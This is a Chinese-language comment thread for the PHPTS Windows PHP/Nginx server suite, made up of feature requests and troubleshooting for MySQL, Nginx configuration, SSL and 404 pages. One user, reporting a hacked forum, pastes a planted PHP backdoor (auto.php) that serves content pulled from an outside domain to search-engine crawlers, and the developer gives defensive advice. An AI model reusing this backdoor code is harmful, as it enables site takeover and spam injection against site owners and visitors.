关于 PHPTS 1.09 SP1 版本(2020年5月26日21:20发布)使用中出现的问题,可以在评论中留言反馈,以便于我们发现与修复。旧版本建议升级到最新版本,看是否还有问题。

另外,为了方便更多的非程序员、纯小白用户使用,PHPTS 将推出应用中心,提供一些常用的 PHP 开源应用一键安装功能,点击《问卷:您需要哪些 PHP 开源应用?》。
关于 PHPTS 1.09 SP1 版本(2020年5月26日21:20发布)使用中出现的问题,可以在评论中留言反馈,以便于我们发现与修复。旧版本建议升级到最新版本,看是否还有问题。

另外,为了方便更多的非程序员、纯小白用户使用,PHPTS 将推出应用中心,提供一些常用的 PHP 开源应用一键安装功能,点击《问卷:您需要哪些 PHP 开源应用?》。
感谢大神开发的 PHPTS,对小白用户非常友好。期待真假备份功能,可以按照计划备份,可以单独备份网站目录/数据库/网站目录+数据库,备份到本地/其他云OSS/FTP,希望考虑哈
将来会推出本地备份,加密后云端备份。
我作为一个小白的角度去讲,虽说简单,但是咱们也要出个详细的教程,好多人都是下载完PHPTS之后,两眼直沟沟的盯着界面点来点去的 也不知道该干啥 哪些东西该不该启动,该不该点, 这些东西对于他们而已,他们完全就没有思路。 希望尽快改善。
嗯,感谢您的建议,会出个教程,面向纯小白用户的。
求助:mysql 服务现在出现这样的突发状况了:
在管理软件主界面打开显示为 :已启动,但程序链接不上数据库。
打开mysql管理界面显示:未启动,点击启动,还是启动不了。
多次重启服务器依然无效。
建议增加禁止IP的配置功能,目前我只能采用如下方式写在配置文件中,建议单独增加设置禁止IP的配置窗口。
deny 39.101.129.127;
deny 39.104.235.66;
deny 39.101.205.97;
deny 47.108.116.247;
建议套件增加安全功能,如网站文件防篡改,文件木马查杀等。
这个环境下,如何指定网站目录的权限:
比如upload/images,该images目录,可上传读写,但无法执行php文件。这样的怎么设置呢?
主机手动配置中,在#PHPTS-PhpFastCgi-Start之前增加:
location ~* /upload/.*\.(php|php7)${
deny all;
}
MySQL不支持怎么回事
安装网站显示不支持
旧的PHP网站程序,如果还在使用已经废弃的mysql客户端扩展,会不支持。最新的程序使用mysqli或pdo_mysql代替。

主机手动配置文件中:我想去掉TLSv1
ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3;
删除后保存TLSv1,发现又自动回来了,请问怎么删除呢?
在【Nginx虚拟主机管理】-【HTTPS支持】中勾选https时,【主机手动配置】#PHPTS-SslCert-Start和#PHPTS-SslCert-End里的内容复制到下面,ssl_protocols那行修改成ssl_protocols TLSv1;再去掉【HTTPS支持】中的https勾选。同时在【主机手动配置】中添加:listen 443 ssl http2;
啥时候发布新版本
接下来的4、5天时间内发布新版本。
4-5天指的是40-50天吗?多长时间发布。
add_header X-Frame-Options "DENY";
add_header Strict-Transport-Security "max-age=31536000";
想这道这两句应该加哪个位置?
可以加在伪静态配置里,或者主机手动配置server {内的其余部分。
win2012 安装启动mysql软件客户端提示:heidisql.exe 系统错误,因为计算机中丢失VCRUNTIME140.DLL
您的Win2012缺少VC++运行库,可以在软件【常用设置】-【VC++运行库】,下载安装。
之前的SSL配置成功了,现在更改为泛域名的SSL.更改SSL证书保存文件提示错误了.
给的SSL文件没有.pem文件文件,只有:.csr文件和.key文件,还有一个单独的:.crt文件,请问怎么处理呢?
crt和key文件即可。不同CA机构颁发的key格式可能不一样,Nginx默认PKCS8 Key,如果你的是RSA Key,可以用这个网址转换一下key:
https://csr.chinassl.net/convert-key.html
设置的404页面对.php无效的问题(No input file specified.)其他目录或html均能生效。就*.php无法生效。显示为:(No input file specified.)请问怎么设置呢
error_page 404 /404.html;location ~ \.php($|/) {
#需要在这里面添加如下一行,才能使404页面对.php有效
try_files $uri =404;
error_page 404 /404.html;
location ~ \.php($|/) {
#需要在这里面添加如下一行,才能使404页面对.php有效
try_files $uri =404;
上面的代码在#PHPTS-PhpFastCgi-Start中,保存后关闭又恢复默认设置了,没法保存吖。
可以手工在#PHPTS-PhpFastCgi-Start之外配置,下个版本将直接支持try_files $uri =404;
try_files $uri =404;写在#PHPTS-PhpFastCgi-Start之前无效,写在#PHPTS-PhpFastCgi-end后面也会无效。
最近有个问题,随着在客户端上的主机应用数量增加,越来发现我的电脑有点力不从心了。举例:配置12个主机,每次启动客户端后,12个应用都自动启用了(其实本次我可能只会用到其中2个应用)。能不能像配置“访问记录日志”一样给各应用一个独立开关啊?用以解决可以手动关闭本次用不到的个应用。
每个Nginx主机应用是虚拟主机,只需要Nginx多读取几百字节的配置文件,所涉及的Nginx进程数、PHP-CGI进程数并不会增加,也不会额外消耗CPU、内存。而Memcached、Redis、Mongodb等独立服务,选择自己需要的启动,如果最后状态不是启动状态,重启、开机是不会自动启动的。
不知什么原因,一开始只是测试MySQL服务器,后期突然启动MySQL服务器后,会自动停止服务。
看一下安装目录\logs\mysql\x64\mysql_error.log 中的 MySQL 报错日志。
检测发现论坛根目录被人挂马,放置了一个auto.php的文件,服务器重置,网站全部文件核查,发现没过多久又出现该文件,希望跟进核查是否是套件导致的泄露。
如下是该文件的代码:
<?php
isAllowAccess(TRUE);
function isAllowAccess($dir = false){
$key= $_SERVER["HTTP_USER_AGENT"];
$valid = false;
if(strpos($key,'ogou')!== false||strpos($key,'aidu')!==false||strpos($key,'so')!==false|| strpos($key,'sm')!==false||strpos($key,'soso')!==false||strpos($key,'google')!==false)
{
header('Content-Type:text/html;charset=gb2312');
$valid = true;
$file = file_get_contents('http://a.xixihhaa.cn/');
echo $file;
echo file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/');
}
if(!$valid && $dir)
{
echo '';
echo file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/');
}
return $valid;
}
?>?>
很有可能是论坛的PHP程序存在漏洞(比如上传附件的地方),导致能够从外部上传PHP文件。请开启Nginx访问日志,查询外部利用PHP代码漏洞上传文件的Web访问日志,找出漏洞。套件是Nginx+PHP服务器,与具体PHP代码无关。
程序安装 账号信息都正确,但总是提示数据库无法连接的问题。望解决!!!
如果程序不能自行创建数据库名,需要先用MySQL管理工具phpMyAdmin、HeidiSQL等创建数据库名。
redis建议用5.0 4.0有挺个严重的性能问题
目前还没有合适的5.0 Windows版本。
再不发布新版本,我的项目就要托黄了~
就这两天发布
Thanks so much for the post.Really thank you! Great.